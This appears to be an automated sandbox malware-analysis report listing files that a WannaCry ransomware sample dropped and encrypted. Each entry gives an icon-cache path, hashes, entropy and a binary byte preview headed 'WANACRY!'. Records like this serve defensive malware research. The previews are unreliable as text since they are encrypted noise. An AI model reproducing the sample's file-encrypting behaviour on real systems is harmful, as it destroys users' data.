                                                                                                                                                                              Preview:WANACRY!......b..@.Y..., .z.G|.g........C&.O..!..H/sj....o.3:..1.:H.....?.X.. q.q.M.c.m._..L*7.n....=..........W.hs.....y..g..a|..r.s.1.LF....0..t.........D8.V.u(.f......fk...f..,....E....p.Xz..!..(eb.]..:.).#)N...,.P.....I.8A1C.9...b..1.ji}8...yr._..x.....@......4f....lh{i.8h.,.}4...|F.F..EO.+SRG...pu....|...*...=:.m.g7...........K....i'..P.U..?...hLKv.MP. .............aZ.x...V..&.8......EwHKi.i.\.l.1.P....O.3=u. s...?Tik.....[..r...i....;..~l..gc..8.:...6+..K..<y.>D...o.Hk.[|..W.Nuz.........,L).#?...u..KX....1@V....Z..S..F.pV.......}.*.'...._....6.........h.l.3...=..f.P......]..e....1.o..c.....B.....,....J.=..a.o./.... ......g...a.._.U..{.2.W..;h8..A......R..........87V+..p.'6.vYv..L.*[,-._39M...&...:O.......X`.K..0..k.1H_.F...@....l..p....Y^..J^...Lo...L\)f.mh...n..>....0.|m'.Q.9...].2...j\0.z,+.b8.\}......`..............M.P.......w...x.....8&..Rq..b..%Ix.|.(g.^...}.~.a.F.R<xFV5.^.gMk..Ka.w.q.h/%_J..?. *V....n.....(xd..9...\."(.;..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_1280.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.117264650511433
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEDvwq/T0AIwplTXYaEFMXFSXOKNolVJVCY93NOa/NmHb1RJUquqH:bkEzXT2wplTXYaCSb9fllNJ/o71R6qu0
                                                                                                                                                                              MD5:F369181A7C686152D9BF58E1F43F75D7
                                                                                                                                                                              SHA1:AE23CA64005952CC6F6763AEEFBA877BB025E075
                                                                                                                                                                              SHA-256:1B26164DA9AA42DA4C83A9CCB5818E69A767022A40E2FA02D1A55A4C36A95ACC
                                                                                                                                                                              SHA-512:59F27F33574595997F5CCCA5AAC93658C9F49D6708A68F023813CE9650D3D903B7C1F6C8BE6E7AB20E1B2FEFBD16BDE921E51756F160D996587D08ADC585DD6A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....B]..}..m&8.a..Q.$p.Vw.Z. k.!.H.....U......../.r......;\r.....;{..GP.k....K!G-..=.Yy.$..t=J...k.zd..V0S..k_.a.......}....d..D/...%".q.G#..wH...P............x...1............'.J..w.&Ah..p/.....................8.v\..r.....U.....IDU\0..u...wp.7...4.............+.%.d&V.Y>WN.........7N..'|..U..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_16.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999805972390525
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:Rj31f3uEkeGkyaHRP/MOF9ghS+/vIp/v9205rumX3iH7Cfi2b5bqZR:NFfeteGkyaNBCn4p/vssrPSHMi2xqZR
                                                                                                                                                                              MD5:FD27C627ADD6E955D034C1772D1D74F5
                                                                                                                                                                              SHA1:0470DD7701B2104A5E1DCF665E26CD8F811AD0A6
                                                                                                                                                                              SHA-256:A736F19C0644BE10FCB2C86A17F85F8B47BA8EF72FF317C287F5BAF035A16F90
                                                                                                                                                                              SHA-512:376FB296264818FC1A8F69A36E4B190A879F223A01551426B85D9E304A74F6506C57F61CBDFAD613BD3C644C68161A5AD30A79D413976B4CDA47576A0262DB43
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....'M%.R=P$..L\.._...H.,..........X}....^..4...C.$&.?...=.x....Ji..%.g0..Dz.i?.,5v.SF....I..4<.+SJ^F<..%..k..h..sa_.2iui.....Tt.X..t..u..S.viV...*A,kf..f*..<~x...&......g[.$..f\.P..q.v.....mk(e5ft...sr...H.Q0...=.|UY....K&;..5.JF.F-..'.CZ.?IU.mi..............m..J..3.....#.b.g.".....|...2..........}2...K=....m.......9.y....a.=.H.Y....5....9...f.:.':hs.m......Y...~..q..t..j......g..~F._..;.E...u.7.oAQ.{..D.zd.o.x...W.@..$..5..1...c.-5.W.5.-./...-f..........?...4.D9/.....>M....<.7.7.vCGN.._....qO?.&u.a..9Ozk...G@..{8.G....F`...2M..u.....i...0.Q....u..G.....oY....<.{#.f.N.gi....\...s.E9h..-Z&^...W...t...4.4LMF7...2......4X8...J.@..@..-.....BLEB......D.....irC6....S.....5:.P....H.L`.`...45{,....cRKr.0T>?\...r.Z...|*..k.J+C~..?......Z.^...>W.._i.<...z.....S...@/C]..c.......R;.Q...".v.U|Qc...K.z..)C!(..3g=...i.^..')7....j.!.......m.q...3.C..f....[W..cd.^.....8...d.v..D|pR...Z.....r.#........Y...5...h..>.{J.=.QA]................V:...!

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_1920.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.200213807141723
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEBpX0qWUL576m+jCSkVN0s85QEhM/zniqHHqMKAn:bkEf0q1L56ROSa0b+/zQMbn
                                                                                                                                                                              MD5:DF401F9E9BA70FF4B9B44B488983AD29
                                                                                                                                                                              SHA1:9106905088F3F3A396B4608ED85034674076E82B
                                                                                                                                                                              SHA-256:A45DAE572F5A8845061CBDA60737488E04330E9BA6715A9928808544FC772A83
                                                                                                                                                                              SHA-512:7D522A10A861F4BF3C30736E307EDA1D128720264E594DBCDF60DE5C67A9F23CCFE879D5F64689D43C1642100806BD7C50DD244D36D79EF9FECE7D33CA969F5C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Zh.....6sN/J.....d6I....?..>&...(*..ul..C5......O...5.q..x3X/W..{?$...Zm.b8...*%.2..Ir..../..Uk...m.=..D)..........%\......|3.H.}p.g.$.e..V6.!s.....{....G.....9W6..7.H.*.....T.<...3...bK.QNH...qS(/M...EE._X.xY.V......J'.H.-..P.(:q.bJc.F..6.o.x!.............n.E....uBP.A....^...*.UQ....K%

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_256.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3146008
                                                                                                                                                                              Entropy (8bit):7.999941214915678
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:98304:hZ687x1UNRLi5jCd/15AQ0w8GQNTUn8MZp:hZ68LUumzhQNTe/
                                                                                                                                                                              MD5:911BBA23B336BB86B8AC6E4C6E330F70
                                                                                                                                                                              SHA1:0F79A0714825DFB19FDAC2B63ED2F59026E4FD2B
                                                                                                                                                                              SHA-256:1EB39DEE558A345CF30B0F7C2EE8A14AE646E6D2BABA8C45EC393734C2E75F6C
                                                                                                                                                                              SHA-512:0CB89B5D269925A100DCE910634EAF579EFD3378C4BF6D41A0D9D7C6F08291B3116B7579BD60AA73C7E50BC99B51063FA517EB702A94FDE8F3C9B0F0DA6664A7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)...$.$.v.. 1...i......b.j.Ex..Yw.J......k.V.ndC'.r...E....FHk..,x.-....9.....m...........f...2...].R~....J.......)..8M:...h...1e.>R...z..T.,...|'./r.A.....iy.%...y?!%...i.y(so...T.9.~+.o..9.o....9V.S^4.p..V. .R.u.Yg.#^...[~.9.{..xwlb_.....|.R......0........>.l.m~..=.o.S!.[\.``.q...R.@>.........0.Q".....O^.,..!.a..e@~...w...`R:....`Lw.?5..g.R....xs...Pc...*...].........r..zc...v.`.!.Y.p....?..I..$G.|..R.i.3yx_.......]4..y{..>wF..o.....T.ufW..O.D5..n...Jl.D.(.P.M..%.......{'.D.,#..;..7..T.lw.m..9...&.......G."..DU]w..U1.Y5.u]..r.D..n3X..Q..X^.oj..sX.q){F..c.tK.........Z.Yxg.dJx.a......~..2...`.....\.v.Z....!xc.M~......:+/...-t.h.";...S?.4....(.....V.9..?....+.(.......<#....F...X.....;@.u...Z..g......3....4.+j..h.......*-(4fp{f.Ae..\.+a....L'..'.. .o./R...z.k..t..f.]MLH.r|.+.<kfg..?.`....J$]....B.O.....s..H..@..k."..x4..b.b.t....i....i........k....nf.....0.ucZ^'."...[...;...].S.vh.............].H.E........=...N..[......><.y.~..j.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_2560.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.2488589093524105
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEkyL/TklHNRGFt0WE3MpIxNc1Gv/meSXft44iyRMOd:bkERAlHNRGF0xN7vObfmDyRMA
                                                                                                                                                                              MD5:7ED1FFB691966D38292FDF11E7AE767B
                                                                                                                                                                              SHA1:E6D4715162C1DB659517CD63313986289C7E4CB1
                                                                                                                                                                              SHA-256:378B2F3EEF1DE86087FC25B045EC503388ECFFC591F6BAB37FF0553AED501B46
                                                                                                                                                                              SHA-512:0F39E9E5B709E81B55A454AABEEFBCD8D385982A8B4A0AE13BB7AC93BB9415C9BDEADED5C8F0FCBB5AB8207B0F1848369B357C309B74B514A867E2AFC41D33AC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......A..:J;.^.3.y,.u......Z.....~pG.'..y.p..V.N.......G...8.!.d.a.wlFX....Cn....f.d.smz..qK..pr.......vZ...M&m..{I.i..1.S.. +..\..~.e....*[...*:..Q..V...F...B.F/...f.#.....3.....1i#0&..,.1.<e.7;.I..@.s.L.....`j....V.?.@M...5?..3W..pC!..o..*.K8...............y.b.#.....z....z...6F...tn.4k...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_32.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2097432
                                                                                                                                                                              Entropy (8bit):7.999926289997084
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:NXN6fYGd73pZVScrc390L/Xv3Zp5OueGlA16GDFUlos2hSkytz:NXN6fYwpTcN07v3ZpAtuC6GDLs2hnyJ
                                                                                                                                                                              MD5:C69C892C13A7075043A7C4796FABF547
                                                                                                                                                                              SHA1:2DE0BD697E8EC688483F1A9B628D459A3B7EFD22
                                                                                                                                                                              SHA-256:DD1667534E89992784052D3EF1493A9F34638A35AE3C3CF93316587DBDA6517A
                                                                                                                                                                              SHA-512:E4F052614BB5395428823AE3251F5EC9D3F9F3DC2DFCEF23B29993926933C2DE82CFD74F131E1481609F61B44500379D68BE657584FE6C656285B42734DBEAD4
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....~D....[?..("F..[6..7.27.."..&...>...@\.l..p.S.:....J.7'........=....A&.}a!~.g...%-.Eq\.2?.\......oa._.0.@.:3&..e.....".S=..&".E>............J..!9b%.p....t..d.z......z.........!...=....b.&..$h]."A.....pQ{. .(.n..e.o..=..X+...}E)y.B@Ho.N..7}..Y:&~...... .....v0.3`%.=k..:..."..cQ.R7+n....iL+H.s.....%..,Nj)..../.K.j....\F.d....M.E'J.8....4E.GK..@d.u...V..+.H. .....lzd....l.,`.......{.}....*E.B......W.....$.{{...K..k....A]"&.......f..2.0.O.q..p/....h....r.:..?5..xe*..6P.g..?.7......E.]f'..Z....id.p...K?.f...SO3sS1].l.Z...fE....}........4......e.?.M[$.`...5w..UC..[....e.........0.t..a/.j2..S......JO.B1@GXs...O>.3z....r....(D.g..Q..I.i....>.@$...........Z.A;.s.P!...p!.s...]_...N...e4p?F...M....hy...CH.....k.,K.y%.J>v>.n..b..!j G.V"..[ae..R..b.._.oWf..*9u.C....Zw..b...zf.....'.M.nM..LB...(s...dh.xK.w.....8.46..yQ.;..jhl...l...k.........>Y......r.C....<...s.6.........O...U.X`....Kh.".o:'.h.58...........EKz.:o..7...*.J(#8.3......`..~

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_48.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2097432
                                                                                                                                                                              Entropy (8bit):7.999913316856287
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:3PB7bO0n1wQeMs7BXUMUmHY/W3I6cpBfYzugB3:357aCnml7UmHYeY6OBfYt
                                                                                                                                                                              MD5:F9E58EE592383873143CF1F53E457DBC
                                                                                                                                                                              SHA1:B0D28C8B85ED97890BD59183FAC0A36E59D5F27C
                                                                                                                                                                              SHA-256:A05294209E1A66CFDB86F8C17C2508BE0A6F5F68B6DF044735536BA304C89CA7
                                                                                                                                                                              SHA-512:4BC4D3A1E7C835165282E711448913DAD852902F730327A3EAFBDCBD58B39464ECE69B7B2E891A60134D68B24142B892DC8D2D30F1F579641AD62903C1EF6E6C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....i.6t..U......4)o....W.>..NZ...+kk..^~.*.G.9|.C/c....@.=.v&....&0...4-r.&...~l...(..mY.Oq.8....m.Q..8:.p..v.D._...F.e.&..D9.]w{6.h....L.&......av..`J....r9....F6rT..x..r....>.....3..<.M`c....e_.^...ypp..K....a=..um."Q8c%...G.&.S.v,..t.......)....... .....^.)......(w...W.....:.....]E.Z3;O..Tr.y.=+.d-....,...f.J...<z.....}..}}..|0+.#....k)O.}..}.9.y.<.?.>.t........T^...k.!z.S.\.K...+..@..[..9.....GR.}.}!B....P......&...Rs..WNa.~v..h".._g...y........R...h...^.1t....xp......0.z....-)..W6.."..a....C!..!C>...f0..................@..........-O.`.H.2...Bd....R..P......v6i..1.%....*.V....3....@.y..R.W.:.w.'.O...P.g...:p.f..Q..O..D.i.Ot}..O...Y.4b.1y.v..C.<.{.s....jR.<+~.D..p.8.#..D.|.>o7...]!...I..+`.w....F'.B.P($.D.m....9.a.;.;|L....Ow..,7nB..~y.I...]..{..S..t..`...~.....R ..z.)2...|..N.{J...">s.9yb....Eu=3.Q-.r....J.........l'~.f.%.O1`./f.f.ht.....*....>Fz0.Vz D._4.|.......R.....G~.$.l......}....=.Km...4G.}V.U<^.Q..W.I.*..Dv..F.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_768.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.186155494923473
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEa1vmnf2G7GrHnU0SAQc7p4ejFE16VndXv5hVeLJbbIAqP5uM9OGKy+:bkEx2G78Hhue5s6VNBhOJbbILP5Qdt
                                                                                                                                                                              MD5:D957C6686324A594244F2A61CC55CBC6
                                                                                                                                                                              SHA1:2D233E74585ED1FC7B7860BDC05054BA89684B01
                                                                                                                                                                              SHA-256:C056E4C96F6AE9FAAAA0D614ED26C12C6A3AB2357121D43C3AE59541915C69D5
                                                                                                                                                                              SHA-512:776E577CE6F101BC8FFED3A6C46FFD9C801DCCEB67D6B4F856AEE1B87DB194586F0EADD50FB1092C08FF411EFEAF4CA6D04F625658BACB7B0DAE920FAA7635F8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.................?.y.*.1n...:..\R...[..8.'}.Wa .....e$.>.....N........sv.1\C..p.....Od.&&...........%.-].v.{...Y.....&.._.....|0k....o.Y...r.r.7...fqh.....\.C.Y..M=..V..n....0...l.U...q,~..bL.....>e..(....>.....x$'.....(.b..z....M.C&.>0....!................4.\..P...d...?....u..{1#x..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_96.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.225826756155966
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEfaTDf0BmCUIz35F3lmnn7R63pXqlXk2qGQ9UVokN9y/4:bkEfaCzUOJa7RkSj6UV5jF
                                                                                                                                                                              MD5:839E2475398D51C0FC27731998A99FFD
                                                                                                                                                                              SHA1:4613B4EE7D19DC8011EE3108E201BD1528B9EC3A
                                                                                                                                                                              SHA-256:E003B330E88962F411C1E62C52AA78FEA45117A9ED4AB78117712639AA4C52A0
                                                                                                                                                                              SHA-512:B7189EE8B90C2773099FF00748B12FA8480D0AF42F9A4F2040D962AFE8ED7F537DF8BC4C00BBCEA939B1AEBF3A75BB2DC83D19BCDA033D7731014C5AE368F17D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....0n.-.V.:.n....N....T?T#.0?.@.N:...._6.D...`R.v.If........{A.<...zZ...;..a...F+.z<..:..[.....2.).1.......ny..u.......?..Q.3-....x.7.l{an..._..M.`..P.h.U.sb.?.y.i+..;.....W...,M..6..b.H.......il.'..gM.z|K Ff../.D.c...Td.C,./.eh.T.P....\#F+..P.............3<..m6'...Y.y.o...37.j....S;..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_custom_stream.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.270378469392792
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE/KDjBviungdGsEre712/RoMlpacCTN9tQbv1UnyR1Ss4mYN4kJkExz:bkESUugd2rk2RoHFTSbSnyrSspkJkExz
                                                                                                                                                                              MD5:8C2699B5C6857E294A25CDF4FDF5DCCF
                                                                                                                                                                              SHA1:BA1C106C58DA8B37D1F182DF33424987A3FEF4C5
                                                                                                                                                                              SHA-256:0C0658E5CEA5513C7CADE772B856090DDF4793F389DE1450040981DFE42B8C83
                                                                                                                                                                              SHA-512:E0364C2355135645E081D2933B4B17046DF8736099B5F386687C38C92102B79405481195DDF8B95CD67B0FA9A264BFC03EEB592C56F71BCE618266249880D42B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......yot....v...X.......D&...?E...v..G..d....W8.([H.N.W^......9.Z.+....."..>.A.r.B.O.....t..._.2..4......y.'is. ..9YV4.Z...z|._..bY....,...x@4A...$....)............^... JV..?.~.z*.>.....&.Au..g..m.*4...Phf.K.4.d..I..#).c..x..&N......G.^.P.]........F.............)1_.X\5.wQ.pP+...o9...l..M.X

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_exif.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.244014487055669
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEhele4aTzrMpshYzKIKriMPu11lzxAJE/6fwInDGk14LIMQDYC:bkEaSSshTr1inR/6flnDsJQD1
                                                                                                                                                                              MD5:2980EF709F7987D766441DAF08C81F1C
                                                                                                                                                                              SHA1:22941A2902713D0B3662A6CD61E168995B024475
                                                                                                                                                                              SHA-256:2C7B376E30E51D43352BEC31C135066E810BE245BADF23985A377DF192A23240
                                                                                                                                                                              SHA-512:3A74F172556914E438860E889D5CBC5A90BA95F162872616E67B6B17402446840432441CAED8AB61A000BDB571AB4EBA27E8CC071CB4A4B8D0E6BAC68BC78518
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....a9j.V.l....I..z../%!1.6r..d..\.3...;A4.mw<.o.Q.m......G.h$SD...YL......v.>m^ia.\...,....]I.{/b.lQ.t#..T?$4yK?...E.2.!.M.,hkZ....+..9..aUJ.....Y.Us)>...d....._G.:..vSI...?..:\.C.v*M....Fa........ ..0gG.|T\\{.......N.j.Y.0y...L..2.|.u.E"8........^....................?...P<[U[...... ..SxT..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):58600
                                                                                                                                                                              Entropy (8bit):7.996236761998986
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:TxwOpnRiRGIus+EDupUSKaaZ5a0DRn4rNcdiEsLTdowWAP3iWgaNeFm2I3:mOpE7usXiyB3lIcXsfdCydgLM2s
                                                                                                                                                                              MD5:CBB87F086AF304CD368453A2DBBAB665
                                                                                                                                                                              SHA1:9356839DE33F82EE9C8E764807DA6323AE4A94B4
                                                                                                                                                                              SHA-256:A6C11FC66031D70164B544ACD47594F0588621A7F6F45CB815EC2237416C4A0C
                                                                                                                                                                              SHA-512:CDAB58C2362E41F01198C1B3E577EBCD99C341CDF75523D5A91EBC9745FD846D2A67EF45F08B8FDEC28735245722EDC16678544FA132503EE86364070C999BFC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....N...U*... .&.oG..:~...)..u..Eb2p..N..).[ .W.#.j.Y....&K.>@".....\...s.S..:.~...........2..h.....y.....T..A..OP=`.(......Xm.%\*..XL..H...F_~..tS.F3?h.+d.>=.[.|...w...z.....7....s.G..E...?p....,..K.|.o..o.Q..C..W...-#.N.8e}.;...."..?]...B.|d.C.............yw.......h..r=@.....m.I>.y..W.....q....:%.e.Y..B.R.......~;.t.8PiTD.}v.........4....E....Z.4Y]..K..C.f.lU...p...gp..#..}..x.b=W.=....c.....AT.e.R.?F.[...r.!f.+:...`.Y@.."...b...F!.{UE.:...R......[b......:...y3{e..'.V.b<....[.=..R..'_D.O...u'.r(....c...-...TA.u...v$..:.E.....\...}...|.i7?..V&..l.....@.....Y%..\. ..+...#`....q..!...........4.....&...;....U.j..3.].3&"..t..-".LC..&r....D}..1N.d:8.......%..f...l+....|...!......./.#.......90(.(.....T..j=.P&..-...2..~,...c..P...,......l1tb.p.1.i......k.Mz/....=.2.9b.AQA...B...4Q;9....z...M.&.....f...e...).......b...q...%:_......g.{..>l...(.g.....E...4*$..K...b..5.........._.+>...+.j3..(~.K...Ck...P.M.Q.....e....b4.S0.X.=....J^.......

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_sr.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.222114728733969
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE7VnFvu4x0qp2PA8Wiqxw7KJD5kOVeq+BAY5gefqqcUj5A4j7C4NE9pQ:bkE1FvBdEqw2DP8Z5rqqp77lEg
                                                                                                                                                                              MD5:72F9E73D986077B25AD3345403067594
                                                                                                                                                                              SHA1:C937BF2D3C5119A6621C7BA5830436DA407EB0FF
                                                                                                                                                                              SHA-256:12B1FDEF0C18F1DB9869BF5398871F29CE7A3759745F3F50D4627A6ABE08500A
                                                                                                                                                                              SHA-512:BC61377CD88183558BFBDBB576E461C6BD3FE699399E7911AB11ACEC213B2208735A9D0D5CC5CB52DFB7D03E5F5AAE70FE6C9FE10337A0BEDC16635615390549
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....{.A.... ..y...X...-S.|lbG@...1r......N.........)4j5&...v.%Y.0..*KB...t.%.2..s...'..T..L.<~...?O..-..-.]....+....3.....k..........5d.....U.....DS..?..-D.z..)n.@y.9..d...o..$..1O.....<,..b...M$Qq.....7.#Zm.Y.G......#........<./.k.....;..T..y............d..~...).^..N.Z`OV.Y...`t.O.V..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_wide.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.164825296102791
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEwLqb0w9C/0hGO7Q9pJm2TmzKO8Zw6S8Pi+RLILMml9f:bkExX8/0c1m60KO8Zw6Pa+RLIZlV
                                                                                                                                                                              MD5:12D2585AA1065CDD8D842E9A52F05C55
                                                                                                                                                                              SHA1:1231DAA1CC4FE34FDC6EB47281D2B57D4C03E699
                                                                                                                                                                              SHA-256:42652151D14ECF003AC99FFB150F0CB268FFFB60200957B3D03DDFEC6F7EF825
                                                                                                                                                                              SHA-512:1431C4743C031D446B79A0C0BCDD65A5C8F583FFFB749755BAB24C5C5197BB78437C1F4B0C212B7BDD2D54629C5C6134B2176CD423C8BC922826FB8F1CBA5099
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....ZI.5a....&4Bt..t6d(......Tn.F:....{.r7...)i69F...~.F.....W.j.gg..m.k.1r.Z..l* .....J7.[q.:*..k.UC.1e..Ba.W..&.J..m.. ...W.....Q.....H..z.)..g.B..=..#....v..Y..l...B...+&.....<VA....^...ra&.R..G....1w0?.._.gT.5`.~.Z.........,......o"C......K.*G............Rb.....:...Bl.....k.....+....v

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.226508348980469
                                                                                                                                                                              Encrypted:false
